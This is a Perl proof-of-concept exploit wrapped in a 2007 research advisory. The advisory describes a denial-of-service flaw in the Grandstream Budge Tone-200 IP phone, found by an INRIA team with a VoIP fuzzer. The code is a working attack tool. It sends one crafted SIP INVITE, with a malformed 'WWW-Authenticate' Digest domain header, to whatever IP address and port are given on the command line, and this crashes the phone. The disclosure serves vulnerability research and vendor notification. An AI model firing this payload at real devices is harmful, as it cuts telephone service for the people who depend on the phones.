|
#!/usr/bin/perl # MADYNES Security Advisory # http://madynes.loria.fr # # Title: Grandstream Budge Tone-200 denial of service vulnerability # # Release Date: 21/03/2007 # # Severity: High - Denial of Service # # Advisory ID:KIPH3 # # Hardware: Grandstream Budge Tone-200 IP Phone # http://www.grandstream.com/consumerphones.html # # Affected Versions: Program-- 1.1.1.14 Bootloader-- 1.1.1.5 # # Other versions maybe. # # Vulnerability Synopsis: After sending a crafted INVITE/CANCE or any # message with a "WWW-Authenticate" where the "Digest domain" is crafted # the device freezes provoking a DoS. # # Impact: A remote individual can remotely crash and perform a Denial of # Service(DoS) attack in all the services provided by the software by # sending one crafted SIP INVITE message. This is conceptually similar to # the "ping of death". # # Resolution: The vendor was contacted at multiple times, the complete # report was sent, but no feedback whatsoever resulted. # # Vulnerability Description: the device reboots after a crafted INVITE # message had been sent. # # Configuration of our device: # # Software Version: Program-- 1.1.1.14 Bootloader-- 1.1.1.5 # # IP-Address obtained by DHCP as 192.168.1.105 # # The configuration is the default # # Vulnerability: # # After sending a crafted INVITE, CANCEL or any message with a # "WWW-Authenticate" where the "Digest domain" is crafted the device # freezes provoking a DoS. # # Credits: # Humberto J. Abdelnur (Ph.D Student) # Radu State (Ph.D) # Olivier Festor (Ph.D) # This vulnerability was identified by the Madynes research team at INRIA # Lorraine, using the Madynes VoIP fuzzer. # http://madynes.loria.fr/ # Exploit: # # To run the exploit the file invite_grandstream.pl should be launched # (assuming our configurations) as: # # perl invite_grandstream.pl 192.168.1.105 5060 Fosforito # # Proof of Concept Code:
use IO::Socket::INET;
die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);
$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],
Proto=>'udp',
PeerAddr=>$ARGV[0]);
$AUTH = "WWW-Authenticate: Digest domain=\"/-+:\@=\$\%D6\$;\$=;=\$=\$,\@\$.=;\@;;,&&+:::=\@/2\$&;6+;+=\%A5==;\@:=;\$&\%A3:u,\@=\@;&;\@+::+&;+,,&/&\@=,;=&:&,=&:;:;;K+&\@=\%DA*\$;\@&+&:;/==\%37:\%A6;,\@\%ED,:=:\@,;\%DA;&\$)\$+=;+:\%FE\$:\@;&=,W;,g\%EF;\%FB:+\@O\$+\%AF+;+:,&=\%CA\%EA;\$,\@+/;\@,-;:;,P&\@;_\$:\%C7&+&/!,\%EE\$:,\@:;;\@&\@,+,z\@\$;\@\@\$\$::\@/=,\$3\%ED=\@+\%AE/=&\@;;\$;&\$\%FE:\@;\$+:\$\%EB\$=&:;&K&;:\@\%EA,=\%BA6\%21;=&:\$\"\r\n";
$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;branch=z9hG4bK056a27e7;rport\r\nFrom: <sip:tucu\@192.168.1.2>;tag=as011d1185\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>;$TOTAG\r\n$AUTH\CSeq: 6106 INVITE\r\Max-Forwards: 70\r\nContent-Length: 0\r\n\r\n";
$socket->send($msg);
|
|
|